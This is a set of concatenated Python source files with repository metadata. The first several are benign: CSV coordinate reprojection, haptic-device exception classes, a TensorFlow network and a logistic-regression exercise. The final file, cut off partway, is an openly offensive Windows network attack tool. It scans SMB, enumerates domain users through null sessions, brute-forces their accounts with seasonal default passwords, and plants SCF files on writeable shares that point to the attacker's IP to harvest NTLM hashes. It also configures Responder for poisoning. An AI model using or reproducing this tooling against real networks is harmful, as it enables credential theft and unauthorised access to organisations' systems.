reader:\n x,y = (float(row[lon]), float(row[lat]))\n try:\n #Add x,y keys and remove lon, lat keys\n row[f_x], row[f_y] = project(x, y)\n row.pop(lon, None)\n row.pop(lat, None)\n writer.writerow(row)\n except Exception as e:\n #If coordinates are out of bounds, skip row and print the error\n print(e)\n","repo_name":"zuhlmann/arcgis","sub_path":"reproject_csv.py","file_name":"reproject_csv.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"1783469217","text":"from typing import Any, Callable, Optional\n\n\nclass DHDError(Exception):\n def __init__(\n self, msg: Optional[str] = \"An undocumented error has occured.\",\n **kwargs\n ):\n if msg is not None:\n return super().__init__(msg)\n else:\n return super().__init__()\n\n\nclass DHDFeatureError(DHDError):\n def __init__(\n self,\n *,\n reason: str,\n ID: Optional[int] = None,\n op: Optional[Callable[[Any], Any]],\n **kwargs\n ):\n op_seg = (\n \"A op\" if op is None else str(op)\n )\n id_seg = \"\" if ID is None else f\" on device {ID} \"\n\n return super().__init__(\n f\"{op_seg} is not available{id_seg}because {reason}.\"\n )\n\n\nclass DHDErrorExpertModeDisabled(DHDFeatureError):\n def __init__(\n self,\n *args,\n op: Optional[Callable[[Any], Any]] = None,\n **kwargs\n ):\n if 'ID' in kwargs:\n kwargs.pop('ID')\n\n return super().__init__(\n reason=\"expert mode is disabled\",\n ID=None,\n op=op,\n **kwargs\n )\n\n\nclass DHDErrorFeatureNotAvailable(DHDFeatureError):\n def __init__(\n self,\n *args,\n op: Optional[Callable[[Any], Any]],\n ID: Optional[int] = None,\n **kwargs\n ):\n\n return super().__init__(\n reason=\"it is not supported on this device\",\n ID=ID,\n op=op,\n **kwargs\n )\n\n\nclass DHDErrorFeatureNotEnabled(DHDFeatureError):\n def __init__(\n self,\n *args,\n op: Optional[Callable[[Any], Any]] = None,\n ID: Optional[int] = None,\n **kwargs\n ):\n\n return super().__init__(\n reason=\"it was previously disabled for this device\",\n ID=ID,\n op=op,\n **kwargs\n )\n\n\nclass DHDErrorDeviceNotReady(DHDFeatureError):\n def __init__(\n self,\n *args,\n op: Optional[Callable[[Any], Any]],\n ID: Optional[int] = None,\n **kwargs\n ):\n return super().__init__(\n reason=\"the device isn't ready to proccess a new command\",\n op=op,\n ID=ID,\n **kwargs\n )\n\n\nclass DHDErrorRedundantFail(DHDError):\n def __init__(self, *, ID: Optional[int] = None, **kwargs):\n if ID is not None:\n spec = f\" on device ID {ID}\"\n else:\n spec = \"\"\n\n super().__init__(\n f\"The redundant encoder integrity test failed{spec}\",\n **kwargs\n )\n\n\nclass DHDIOError(DHDError, OSError):\n def __init__(\n self,\n *args,\n err: str,\n ID: Optional[int] = None,\n op: Optional[str] = None,\n **kwargs\n ):\n op_seg = \"\" if op is None else f\"{op} failed. \"\n id_seg = \"\" if ID is None else f\" occured on device {ID}\"\n\n return super().__init__(f\"{op_seg}{err}{id_seg}\")\n\n\nclass DHDErrorTimeout(DHDIOError):\n def __init__(\n self,\n *args,\n op: Optional[str] = None,\n ID: Optional[int] = None,\n **kwargs\n ):\n\n return super().__init__(\n err=\"timeout\",\n ID=ID,\n op=op,\n **kwargs\n )\n\n\nclass DHDErrorCom(DHDIOError):\n def __init__(\n self,\n *args,\n ID: Optional[int] = None,\n **kwargs\n ):\n return super().__init__(\n err=\"A communication error between the host and the HapticDevice\",\n ID=ID,\n **kwargs\n )\n\n\nclass DHDErrorDHCBusy(DHDIOError):\n def __init__(self, *, ID: Optional[int] = None, **kwargs):\n return super().__init__(\n err=\"The device controller is busy.\",\n ID=ID,\n **kwargs\n )\n\n\nclass DHDErrorNoDeviceFound(DHDIOError):\n def __init__(self, **kwargs):\n return super().__init__(\n err=\"No compatible Force Dimension devices found\",\n **kwargs\n )\n\n\nclass DHDErrorDeviceInUse(DHDIOError):\n def __init__(self, *, ID: Optional[int] = None, **kwargs):\n super().__init__(\n err=\"Open error (because the device is already in use)\",\n ID=ID,\n **kwargs\n )\n\n\nclass DHDErrorNoDriverFound(DHDIOError):\n def __init__(self, *, ID: Optional[int] = None, **kwargs):\n return super().__init__(\n err=\"A required driver is not installed (see device manual for\"\n \"details)\",\n ID=ID,\n **kwargs\n )\n\n\nclass DHDErrorConfiguration(DHDIOError):\n def __init__(self, *, ID: Optional[int] = None, **kwargs):\n super().__init__(\n err=\"The firmware or internal configuration health check failed\",\n ID=ID,\n **kwargs\n )\n\n\nclass DHDErrorGeometry(DHDError):\n def __init__(self, ID: Optional[int] = None, *args, **kwargs):\n\n if (ID is not None):\n spec = f\"device ID {ID}'s\"\n else:\n spec = \"the device's\"\n\n return super().__init__(\n f\"An error has occured within {spec} geometric model\"\n )\n\n\nclass DHDErrorMemory(DHDError, MemoryError):\n def __init__(self, *args, **kwargs):\n return super().__init__(\n \"DHD ran out of memory.\"\n )\n\n\nclass DHDErrorNotImplemented(DHDError, NotImplementedError):\n def __init__(self, *args, **kwargs):\n return super().__init__(\n \"The command or op is currently not implemented.\"\n )\n\n\nclass DHDErrorFileNotFound(DHDError, FileNotFoundError):\n def __init__(self, *args, **kwargs):\n return super().__init__()\n\n\nclass DHDErrorDeprecated(DHDError):\n def __init__(self, *args, **kwargs):\n super().__init__(\n \"This op, function, or current device is marked as \"\n \"deprecated.\"\n )\n\n\nclass DHDErrorInvalidIndex(DHDError, IndexError):\n def __init__(self, *args, **kwargs):\n super().__init__(\n \"An index passed to the function is outside the expected valid \"\n \"range. \"\n )\n\n\nclass DHDErrorArgument(DHDError, ValueError):\n def __init__(self, null: bool = False, *args, **kwargs):\n if not null:\n super().__init__(\n \"The function producing this error was passed an invalid or \"\n \"argument.\"\n )\n else:\n super().__init__(\n \"The function producing this error was passed an unexpected \"\n \"null pointer argument.\"\n )\n\n\nclass DHDErrorNullArgument(DHDErrorArgument):\n def __init__(self, *args, **kwargs):\n super().__init__(null=True)\n\n\nclass DHDErrorNoRegulation(DHDError):\n def __init__(self, *args, **kwargs):\n super().__init__(\n \"The robotic regulation thread is not running. This only applies \"\n \"to functions from the robotic SDK (DRD).\"\n )\n","repo_name":"EmDash00/forcedimension_core-python","sub_path":"forcedimension_core/dhd/adaptors.py","file_name":"adaptors.py","file_ext":"py","file_size_in_byte":6907,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"39084604386","text":"#import gym\n#from RL_brain import DeepQNetwork\n\nimport tensorflow as tf\nimport numpy as np\n\nclass Deep_network(object):\n\t\"\"\"docstring for network\"\"\"\n\tdef __init__(self, \n\t\tnn_size,\n\t\tlearning_rate = 0.05,\n\t\tlr_decay_step = 15000,\n\t\tlr_decay_rate = 0.9,\n\t\tnet_name = 'dnn',\n\t\t):\n\t\t#super(Deep_network, self).__init__()\n\t\tself.global_step = tf.Variable(0, trainable=False)\n\t\tself.lr = tf.train.exponential_decay(learning_rate, self.global_step, lr_decay_step, lr_decay_rate, staircase=True)\n\t\tself.n_layers = len(nn_size)\n\t\tself.size = nn_size\n\t\tself.build_net(net_name = net_name)\n\t\t# When using, restore only network params\n\t\tself.saver = tf.train.Saver(tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=net_name))\n\t\t\n\t\t# For classification\n\t\tself.correct_pred = tf.equal(tf.round(self.pred), self.label)\n\t\tself.accuracy = tf.reduce_mean(tf.cast(self.correct_pred,\"float\"))\n\t\t\n\t\tself.sess = tf.Session()\n\t\tself.sess.run(tf.global_variables_initializer())\n\n\tdef build_net(self, net_name, activation_function=tf.nn.tanh, init_range = 0.01):\n\t\tw_initializer = tf.random_uniform_initializer(-init_range, init_range)\n\t\tself.input = tf.placeholder(tf.float32, [None, self.size[0]], name='input') # input\n\t\tself.label = tf.placeholder(tf.float32, [None, self.size[-1]], name='label') # label\n\t\twith tf.variable_scope(net_name):\n\t\t\toutput = {}\n\t\t\toutput['0'] = self.input\n\t\t\tfor j in range(self.n_layers-1):\n\t\t\t\toutput[str(j+1)] = tf.layers.dense(\n\t\t\t\t\tinputs=output[str(j)], \n\t\t\t\t\tunits=self.size[j+1], \n\t\t\t\t\tkernel_initializer=w_initializer, \n\t\t\t\t\tname='dense_layer'+str(j), \n\t\t\t\t\tactivation = activation_function)\n\t\t\tself.pred = 2*output[str(self.n_layers-1)]\n\t\tself.loss = tf.reduce_mean(tf.squared_difference(self.pred, self.label))\n\t\t#self._train_op = tf.train.RMSPropOptimizer(self.lr).minimize(self.loss, global_step=self.global_step)\n\t\tself._train_op = tf.train.AdamOptimizer(self.lr).minimize(self.loss, global_step=self.global_step)\n\n\tdef train(self, inputs, label):\n\t\tself.sess.run(self._train_op, feed_dict = {self.input: inputs, self.label: label})\n\n\tdef test(self, inputs, label):\n\t\t# For classification problem\n\t\treturn self.sess.run(self.accuracy, feed_dict = {self.input: inputs, self.label: label})\n\t\n\tdef predict(self, inputs):\n\t\t# For classification problem\n\t\treturn self.sess.run(self.pred, feed_dict = {self.input: inputs})\n\t\n\tdef show_loss(self, inputs, label):\n\t\treturn self.sess.run(self.loss, feed_dict = {self.input: inputs, self.label: label})\n\t\n\tdef get_lr(self):\n\t\treturn self.sess.run(self.lr)\n\tdef train_step(self):\n\t\treturn self.sess.run(self.global_step)\n\tdef reset_train_step(self):\n\t\tself.sess.run(self.global_step.assign(0))\n\n\tdef save(self, filename):\n\t\tself.saver.save(self.sess, filename)\n\tdef restore(self, filename):\n\t\tself.saver.restore(self.sess, filename)\n\n\nif __name__ == '__main__':\n\ttrainfile={}\n\ttrainfile = './data/ann-train1.npz'\n\ttestfile = './data/ann-test1.npz'\n\tn_input = 21\n\tn_classes = 1 \n\n\tread = np.load(trainfile)\n\tdata = read['dat']\n\tbatch_x = data[:, 0 : n_input]\n\tbatch_y = data[:, n_input : n_input + n_classes]\n\t\n\tread = None\n\tread=np.load(testfile)\n\tdata_test=read['dat']\n\ttest_x = data_test[:, 0: n_input]\n\ttest_y = data_test[:, n_input: n_input + n_classes]\n\t# set parameters\n\n\tnn_size = [n_input, 5000, 500, 200, n_classes]\n\tdata_size = len(data)\n\tbatch_size = data_size\n\tmy_nn = Deep_network(nn_size = nn_size, learning_rate = 0.005)\n\n\timport time\n\ttimer=time.clock()\n\tfor i in range(1000):\n\t\t#print('=================')\n\t\t#print(i)\n\t\t#idx = np.random.randint(data_size, size=batch_size)\n\t\t#batch_x = data[idx, 0 : n_input]\n\t\t#batch_y = data[idx, n_input : n_input + n_classes]\n\t\tmy_nn.train(inputs=batch_x, label = batch_y)\n\t\t#accuracy = my_nn.test(inputs = test_x, label = test_y)\n\t\t#print(accuracy)\n\tprint(time.clock()-timer)\n\t#my_nn.save('testmodel.ckpt')\n\t\"\"\"\n\taccuracy = my_nn.test(inputs = test_x, label = test_y)\n\tprint(accuracy)\n\tmy_nn.restore('testmodel.ckpt')\n\taccuracy = my_nn.test(inputs = test_x, label = test_y)\n\tprint(accuracy)\n\t\"\"\"\n\t\"\"\"\n\tnew_nn = network(nn_size = nn_size, learning_rate = 0., net_name = '1')\n\taccu = new_nn.test(inputs = test_x, label = test_y)\n\tprint(accu)\n\tnew_nn.restore('testmodel.ckpt')\n\taccu = new_nn.test(inputs = test_x, label = test_y)\n\tprint(accu)\n\t\"\"\"\n\t","repo_name":"DianjingLiu/KiteControlV5.3","sub_path":"Kite_agent/DNN2.py","file_name":"DNN2.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"29954991775","text":"#!/usr/bin/env python\n# -*- coding=utf-8 -*-\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mapFeature import map_feature\nfrom costFunctionReg import cost_function_reg\nfrom fminunc_reg import my_fminunc_reg\nimport sys\n\nsys.path.append(\"../\")\nfrom plotData import plot_data\nfrom plotDecisionBoundary import plot_decision_boundary\nfrom predict import predict\n\n\ndef pause_func():\n print('Program paused. Press enter to continue.\\n')\n while input() != '':\n pass\n\n\ndef load_data(filename):\n data_load = np.loadtxt(filename, delimiter=\",\")\n return data_load\n\n\nif __name__ == '__main__':\n data = load_data('ex2data2.txt')\n data = np.split(data, [2], axis=1)\n X = data[0]\n y = data[1]\n plot_data(X, y)\n plt.xlabel('Microchip Test 1')\n plt.ylabel('Microchip Test 2')\n plt.legend([\"y = 1\", \"y = 0\"])\n plt.pause(1.5)\n plt.close()\n\n # =========== Part 1: Regularized Logistic Regression ============\n X = map_feature(X[:, 0], X[:, 1])\n # Initialize fitting parameters\n initial_theta = np.zeros((X.shape[1], 1))\n # Set regularization parameter lambda to 1\n reg_lambda = 1\n # Compute and display initial cost and gradient for regularized logistic regression\n cost, grad = cost_function_reg(initial_theta, X, y, reg_lambda)\n print('Cost at initial theta (zeros): ', cost, '\\nExpected cost (approx): 0.693\\n')\n np.set_printoptions(suppress=True)\n print('Gradient at initial theta (zeros) - first five values only:\\n', grad[0: 5])\n print('\\nExpected gradients (approx) - first five values only:\\n 0.0085\\n 0.0188\\n 0.0001\\n 0.0503\\n 0.0115\\n')\n print('\\nProgram paused. Press enter to continue.\\n')\n # pause_func()\n\n # Compute and display cost and gradient with all-ones theta and lambda = 10\n test_theta = np.ones((X.shape[1], 1))\n cost, grad = cost_function_reg(test_theta, X, y, 10)\n print('Cost at test theta (with lambda = 10): ', cost, '\\nExpected cost (approx): 3.16\\n')\n np.set_printoptions(suppress=True)\n print('Gradient at test theta - first five values only:\\n', grad[0: 5])\n print('\\nExpected gradients (approx) - first five values only:\\n 0.3460\\n 0.1614\\n 0.1948\\n 0.2269\\n 0.0922\\n')\n print('\\nProgram paused. Press enter to continue.\\n')\n # pause_func()\n\n # ============= Part 2: Regularization and Accuracies =============\n reg_lambda = 1\n result = my_fminunc_reg(X, y, initial_theta, reg_lambda)\n theta = result[\"x\"]\n # Plot Boundary\n plot_decision_boundary(theta, X, y)\n plt.xlabel('Microchip Test 1')\n plt.ylabel('Microchip Test 2')\n plt.legend()\n plt.title('lambda = %g' % reg_lambda)\n plt.pause(2)\n plt.close()\n # Compute accuracy on our training set\n p = predict(theta, X).reshape(118, 1)\n print('Train Accuracy: ', np.mean((p == y)) * 100)\n print('\\nExpected accuracy (approx): 83.1\\n')\n","repo_name":"X-21/Coursera-Machine-Learning-Python-Code","sub_path":"ex2 Logistic Regression/Regularized logistic regression/ex2_reg.py","file_name":"ex2_reg.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"72"}
+{"seq_id":"35712379942","text":"#!/usr/bin/env python3\n\nimport re\nimport os\nimport sys\nimport time\nimport string\nimport signal\nimport random\nimport asyncio\nimport argparse\nimport functools\nimport netifaces\nfrom datetime import datetime\nfrom itertools import zip_longest\nfrom libnmap.process import NmapProcess\nfrom asyncio.subprocess import PIPE, STDOUT\nfrom netaddr import IPNetwork, AddrFormatError\nfrom libnmap.parser import NmapParser, NmapParserException\nfrom subprocess import Popen, PIPE, check_output, CalledProcessError\n\n# debug\nfrom IPython import embed\n\n# Prevent JTR error in VMWare\nos.environ['CPUID_DISABLE'] = '1'\n\ndef parse_args():\n # Create the arguments\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-l\", \"--hostlist\", help=\"Host list file\")\n parser.add_argument(\"-x\", \"--xml\", help=\"Path to Nmap XML file\")\n parser.add_argument(\"-p\", \"--password-list\", help=\"Path to password list file\")\n parser.add_argument(\"-s\", \"--skip\", default='', help=\"Skip [rid/scf/responder/ntlmrelay/dns/crack] where the first 5 options correspond to attacks 1-5\")\n parser.add_argument(\"-t\", \"--time\", default='10', help=\"Number of minutes to run the LLMNR/Responder attack; defaults to 10m\")\n return parser.parse_args()\n\ndef parse_nmap(args):\n '''\n Either performs an Nmap scan or parses an Nmap xml file\n Will either return the parsed report or exit script\n '''\n if args.xml:\n try:\n report = NmapParser.parse_fromfile(args.xml)\n except FileNotFoundError:\n sys.exit('[-] Host file not found: {}'.format(args.xml))\n elif args.hostlist:\n hosts = []\n with open(args.hostlist, 'r') as hostlist:\n host_lines = hostlist.readlines()\n for line in host_lines:\n line = line.strip()\n try:\n if '/' in line:\n hosts += [str(ip) for ip in IPNetwork(line)]\n elif '*' in line:\n sys.exit('[-] CIDR notation only in the host list e.g. 10.0.0.0/24')\n else:\n hosts.append(line)\n except (OSError, AddrFormatError):\n sys.exit('[-] Error importing host list file. Are you sure you chose the right file?')\n report = nmap_scan(hosts)\n else:\n print('[-] Use the \"-x [path/to/nmap-output.xml]\" option if you already have an Nmap XML file \\\nor \"-l [hostlist.txt]\" option to run an Nmap scan with a hostlist file.')\n sys.exit()\n return report\n\ndef nmap_scan(hosts):\n '''\n Do Nmap scan\n '''\n nmap_args = '-sS --script smb-security-mode,smb-enum-shares -n --max-retries 5 -p 445 -oA smb-scan'\n nmap_proc = NmapProcess(targets=hosts, options=nmap_args, safe_mode=False)\n rc = nmap_proc.sudo_run_background()\n nmap_status_printer(nmap_proc)\n report = NmapParser.parse_fromfile(os.getcwd()+'/smb-scan.xml')\n\n return report\n\ndef nmap_status_printer(nmap_proc):\n '''\n Prints that Nmap is running\n '''\n i = -1\n x = -.5\n while nmap_proc.is_running():\n i += 1\n # Every 30 seconds print that Nmap is still running\n if i % 30 == 0:\n x += .5\n print(\"[*] Nmap running: {} min\".format(str(x)))\n time.sleep(1)\n\ndef run_nse_scripts(args, hosts, nse_scripts_run):\n '''\n Run NSE scripts if they weren't run in supplied Nmap XML file\n '''\n hosts = []\n if nse_scripts_run == False:\n if len(hosts) > 0:\n print(\"[*] Running missing NSE scripts\")\n report = nmap_scan(hosts)\n hosts = get_hosts(args, report)\n return hosts\n\ndef get_share(l, share):\n '''\n Gets the share from Nmap output line\n e.g., \\\\\\\\192.168.1.10\\\\Pictures\n '''\n if l.startswith(' \\\\\\\\') and '$' not in l:\n share = l.strip()[:-1]\n return share\n\ndef parse_nse(hosts, args):\n '''\n Parse NSE script output\n '''\n smb_signing_disabled_hosts = []\n\n if 'scf' not in args.skip.lower():\n print('\\n[*] Attack 2: SCF file upload to anonymously writeable shares for hash collection')\n\n for host in hosts:\n ip = host.address\n\n # Get SMB signing data\n for script_out in host.scripts_results:\n if script_out['id'] == 'smb-security-mode':\n if 'message_signing: disabled' in script_out['output']:\n smb_signing_disabled_hosts.append(ip)\n\n # ATTACK 2: SCF file upload for hash capture\n if 'scf' not in args.skip.lower():\n if script_out['id'] == 'smb-enum-shares':\n lines = script_out['output'].splitlines()\n anon_share_found = write_scf_files(lines, ip, args)\n local_scf_cleanup()\n\n if 'scf' not in args.skip.lower():\n if anon_share_found == False:\n print('[-] No anonymously writeable shares found')\n\n if len(smb_signing_disabled_hosts) > 0:\n for host in smb_signing_disabled_hosts:\n write_to_file('smb-signing-disabled-hosts.txt', host+'\\n', 'a+')\n\ndef run_smbclient(server, share_name, action, scf_filepath):\n '''\n Run's impacket's smbclient.py for scf file attack\n '''\n smb_cmds_filename = 'smb-cmds.txt'\n smb_cmds_data = 'use {}\\n{} {}\\nls\\nexit'.format(share_name, action, scf_filepath)\n write_to_file(smb_cmds_filename, smb_cmds_data, 'w+')\n smbclient_cmd = 'python2 submodules/impacket/examples/smbclient.py {} -f {}'.format(server, smb_cmds_filename)\n print(\"[*] Running '{}' with the verb '{}'\".format(smbclient_cmd, action))\n stdout, stderr = Popen(smbclient_cmd.split(), stdout=PIPE, stderr=PIPE).communicate()\n return stdout, stderr\n\ndef write_scf_files(lines, ip, args):\n '''\n Writes SCF files to writeable shares based on Nmap smb-enum-shares output\n '''\n share = None\n anon_share_found = False\n scf_filepath = create_scf()\n\n for l in lines:\n share = get_share(l, share)\n if share:\n share_folder = share.split('\\\\')[-1]\n if 'Anonymous access:' in l or 'Current user access:' in l:\n access = l.split()[-1]\n if access == 'READ/WRITE':\n anon_share_found = True\n print('[+] Writeable share found at: '+share)\n print('[*] Attempting to write SCF file to share')\n action = 'put'\n stdout, stderr = run_smbclient(ip, share_folder, action, scf_filepath)\n stdout = stdout.decode('utf-8')\n if 'Error:' not in stdout and len(stdout) > 1:\n print('[+] Successfully wrote SCF file to: {}'.format(share))\n write_to_file('logs/shares-with-SCF.txt', share+'\\n', 'a+')\n else:\n stdout_lines = stdout.splitlines()\n for line in stdout_lines:\n if 'Error:' in line:\n print('[-] Error writing SCF file: \\n '+line.strip())\n \n return anon_share_found\n\ndef create_scf():\n '''\n Creates scf file and smbclient.py commands file\n '''\n scf_filename = '@local.scf'\n\n if not os.path.isfile(scf_filename):\n scf_data = '[Shell]\\r\\nCommand=2\\r\\nIconFile=\\\\\\\\{}\\\\file.ico\\r\\n[Taskbar]\\r\\nCommand=ToggleDesktop'.format(get_ip())\n write_to_file(scf_filename, scf_data, 'w+')\n\n cwd = os.getcwd()+'/'\n scf_filepath = cwd+scf_filename\n\n return scf_filepath\n\ndef local_scf_cleanup():\n '''\n Removes local SCF file and SMB commands file\n '''\n timestamp = str(time.time())\n scf_file = '@local.scf'\n smb_cmds_file = 'smb-cmds.txt'\n shares_file = 'logs/shares-with-SCF.txt'\n\n if os.path.isfile(scf_file):\n os.remove('@local.scf')\n\n if os.path.isfile(smb_cmds_file):\n os.remove('smb-cmds.txt')\n\n if os.path.isfile(shares_file):\n os.rename(shares_file, shares_file+'-'+timestamp)\n\ndef get_hosts(args, report):\n '''\n Gets list of hosts with port 445 open\n and a list of hosts with smb signing disabled\n '''\n hosts = []\n\n print('[*] Parsing hosts')\n for host in report.hosts:\n if host.is_up():\n # Get open services\n for s in host.services:\n if s.port == 445:\n if s.state == 'open':\n hosts.append(host)\n if len(hosts) == 0:\n sys.exit('[-] No hosts with port 445 open')\n\n return hosts\n\ndef coros_pool(worker_count, commands):\n '''\n A pool without a pool library\n '''\n coros = []\n if len(commands) > 0:\n while len(commands) > 0:\n for i in range(worker_count):\n # Prevents crash if [commands] isn't divisible by worker count\n if len(commands) > 0:\n coros.append(get_output(commands.pop()))\n else:\n return coros\n return coros\n\n@asyncio.coroutine\ndef get_output(cmd):\n '''\n Performs async OS commands\n '''\n p = yield from asyncio.create_subprocess_shell(cmd, stdout=PIPE, stderr=PIPE)\n # Output returns in byte string so we decode to utf8\n return (yield from p.communicate())[0].decode('utf8')\n\ndef async_get_outputs(loop, commands):\n '''\n Asynchronously run commands and get get their output in a list\n '''\n output = []\n\n if len(commands) == 0:\n return output\n\n # Get commands output in parallel\n worker_count = len(commands)\n if worker_count > 10:\n worker_count = 10\n\n # Create pool of coroutines\n coros = coros_pool(worker_count, commands)\n\n # Run the pool of coroutines\n if len(coros) > 0:\n output += loop.run_until_complete(asyncio.gather(*coros))\n\n return output\n\ndef create_cmds(hosts, cmd):\n '''\n Creates the list of comands to run\n cmd looks likes \"echo {} && rpcclient ... {}\"\n '''\n commands = []\n for host in hosts:\n # Most of the time host will be Nmap object but in case of null_sess_hosts\n # it will be a list of strings (ips)\n if type(host) is str:\n ip = host\n else:\n ip = host.address\n formatted_cmd = 'echo {} && '.format(ip) + cmd.format(ip)\n commands.append(formatted_cmd)\n return commands\n\ndef get_null_sess_hosts(output):\n '''\n Gets a list of all hosts vulnerable to SMB null sessions\n '''\n null_sess_hosts = {}\n # output is a list of rpcclient output\n for out in output:\n if 'Domain Name:' in out:\n out = out.splitlines()\n ip = out[0]\n # Just get domain name\n dom = out[1].split()[2]\n # Just get domain SID\n dom_sid = out[2].split()[2]\n null_sess_hosts[ip] = (dom, dom_sid)\n\n return null_sess_hosts\n\ndef get_AD_domains(null_sess_hosts):\n '''\n Prints the unique domains\n '''\n uniq_doms = []\n\n for key,val in null_sess_hosts.items():\n dom_name = val[0]\n\n if dom_name not in uniq_doms:\n uniq_doms.append(dom_name)\n\n if len(uniq_doms) > 0:\n for d in uniq_doms:\n print('[+] Domain found: ' + d) \n\n return uniq_doms\n\ndef get_usernames(ridenum_output, prev_users):\n '''\n Gets usernames from ridenum output\n ip_users is dict that contains username + IP info\n prev_users is just a list of the usernames to prevent duplicate bruteforcing\n '''\n ip_users = {}\n\n for host in ridenum_output:\n out_lines = host.splitlines()\n ip = out_lines[0]\n for line in out_lines:\n # No machine accounts\n if 'Account name:' in line and \"$\" not in line:\n user = line.split()[2].strip()\n if user not in prev_users:\n prev_users.append(user)\n print('[+] User found: ' + user)\n\n if ip in ip_users:\n ip_users[ip] += [user]\n else:\n ip_users[ip] = [user]\n\n return ip_users, prev_users\n\ndef write_to_file(filename, data, write_type):\n '''\n Write data to disk\n '''\n with open(filename, write_type) as f:\n f.write(data)\n\ndef create_brute_cmds(ip_users, passwords):\n '''\n Creates the bruteforce commands\n ip_users = {ip:[user1,user2,user3]}\n ip_users should already be unique and no in prev_users\n '''\n cmds = []\n\n for ip in ip_users:\n for user in ip_users[ip]:\n rpc_user_pass = []\n for pw in passwords:\n cmd = \"echo {} && rpcclient -U \\\"{}%{}\\\" {} -c 'exit'\".format(ip, user, pw, ip)\n # This is so when you get the output from the coros\n # you get the username and pw too\n cmd2 = \"echo '{}' \".format(cmd)+cmd\n cmds.append(cmd2)\n\n return cmds\n\ndef log_users(user):\n '''\n Writes users found to log file\n '''\n with open('found-users.txt', 'a+') as f:\n f.write(user+'\\n')\n\ndef create_passwords(args):\n '''\n Creates the passwords based on default AD requirements\n or user-defined values\n '''\n if args.password_list:\n with open(args.password_list, 'r') as f:\n # We have to be careful with .strip()\n # because password could contain a space\n passwords = [line.rstrip() for line in f]\n else:\n season_pw = create_season_pw()\n other_pw = \"P@ssw0rd\"\n passwords = [season_pw, other_pw]\n\n return passwords\n\ndef create_season_pw():\n '''\n Turn the date into the season + the year\n '''\n # Get the current day of the year\n doy = datetime.today().timetuple().tm_yday\n year = str(datetime.today().year)\n\n spring = range(80, 172)\n summer = range(172, 264)\n fall = range(264, 355)\n # winter = everything else\n\n if doy in spring:\n season = 'Spring'\n elif doy in summer:\n season = 'Summer'\n elif doy in fall:\n season = 'Fall'\n else:\n season = 'Winter'\n\n season_pw = season+year\n return season_pw\n\ndef parse_brute_output(brute_output, prev_creds):\n '''\n Parse the chunk of rpcclient attempted logins\n '''\n # prev_creds = ['ip\\user:password', 'SMBv2-NTLMv2-SSP-1.2.3.4.txt']\n pw_found = False\n\n for line in brute_output:\n # Missing second line of output means we have a hit\n if len(line.splitlines()) == 1:\n pw_found = True\n split = line.split()\n ip = split[1]\n dom_user_pwd = split[5].replace('\"','').replace('%',':')\n prev_creds.append(dom_user_pwd)\n host_dom_user_pwd = ip+'\\\\'+dom_user_pwd\n\n duplicate = check_found_passwords(dom_user_pwd)\n if duplicate == False:\n print('[!] Password found! '+dom_user_pwd)\n log_pwds([dom_user_pwd])\n\n if pw_found == False:\n print('[-] No reverse bruteforce password matches found')\n\n return prev_creds\n\ndef smb_reverse_brute(loop, hosts, args, passwords, prev_creds, prev_users):\n '''\n Performs SMB reverse brute\n '''\n # {ip:'domain name: xxx', 'domain sid: xxx'}\n null_sess_hosts = {}\n dom_cmd = 'rpcclient -U \"\" {} -N -c \"lsaquery\"'\n dom_cmds = create_cmds(hosts, dom_cmd)\n\n print('\\n[*] Attack 1: RID cycling in null SMB sessions into reverse bruteforce')\n print('[*] Checking for null SMB sessions')\n print('[*] Example command that will run: '+dom_cmds[0].split('&& ')[1])\n\n rpc_output = async_get_outputs(loop, dom_cmds)\n if rpc_output == None:\n print('[-] Error attempting to look up null SMB sessions')\n return\n\n # {ip:'domain_name', 'domain_sid'}\n chunk_null_sess_hosts = get_null_sess_hosts(rpc_output)\n\n # Create master list of null session hosts\n null_sess_hosts.update(chunk_null_sess_hosts)\n if len(null_sess_hosts) == 0:\n print('[-] No null SMB sessions available')\n return\n else:\n null_hosts = []\n for ip in null_sess_hosts:\n print('[+] Null session found: {}'.format(ip))\n null_hosts.append(ip)\n\n domains = get_AD_domains(null_sess_hosts)\n\n # Gather usernames using ridenum.py\n print('[*] Checking for usernames. This may take a bit...')\n ridenum_cmd = 'python2 submodules/ridenum/ridenum.py {} 500 50000 | tee -a logs/ridenum.log'\n ridenum_cmds = create_cmds(null_hosts, ridenum_cmd)\n print('[*] Example command that will run: '+ridenum_cmds[0].split('&& ')[1])\n ridenum_output = async_get_outputs(loop, ridenum_cmds)\n if len(ridenum_output) == 0:\n print('[-] No usernames found')\n return\n\n # {ip:[username, username2], ip2:[username, username2]}\n ip_users, prev_users = get_usernames(ridenum_output, prev_users)\n\n # Creates a list of unique commands which only tests\n # each username/password combo 2 times and not more\n brute_cmds = create_brute_cmds(ip_users, passwords)\n print('[*] Checking the passwords {} and {} against the users'.format(passwords[0], passwords[1]))\n brute_output = async_get_outputs(loop, brute_cmds)\n\n # Will always return at least an empty dict()\n prev_creds = parse_brute_output(brute_output, prev_creds)\n\n return prev_creds, prev_users, domains\n\ndef log_pwds(host_user_pwds):\n '''\n Turns SMB password data {ip:[usrr_pw, user2_pw]} into a string\n '''\n for host_user_pwd in host_user_pwds:\n line = host_user_pwd+'\\n'\n write_to_file('found-passwords.txt', line, 'a+')\n\ndef edit_responder_conf(switch, protocols):\n '''\n Edit responder.conf\n '''\n if switch == 'On':\n opp_switch = 'Off'\n else:\n opp_switch = 'On'\n conf = 'submodules/Responder/Responder.conf'\n with open(conf, 'r') as f:\n filedata = f.read()\n for p in protocols:\n # Make sure the change we're making is necessary\n if re.search(p+' = '+opp_switch, filedata):\n filedata = filedata.replace(p+' = '+opp_switch, p+' = '+switch)\n with open(conf, 'w') as f:\n f.write(filedata)\n\ndef get_iface():\n '''\n Gets the right interface for Responder\n '''\n ifaces = []\n for iface in netifaces.interfaces():\n # list of ipv4 addrinfo dicts\n ipv4s = netifaces.ifaddresses(iface).get(netifaces.AF_INET, [])\n for entry in ipv4s:\n addr = entry.get('addr')\n if not addr:\n continue\n if not 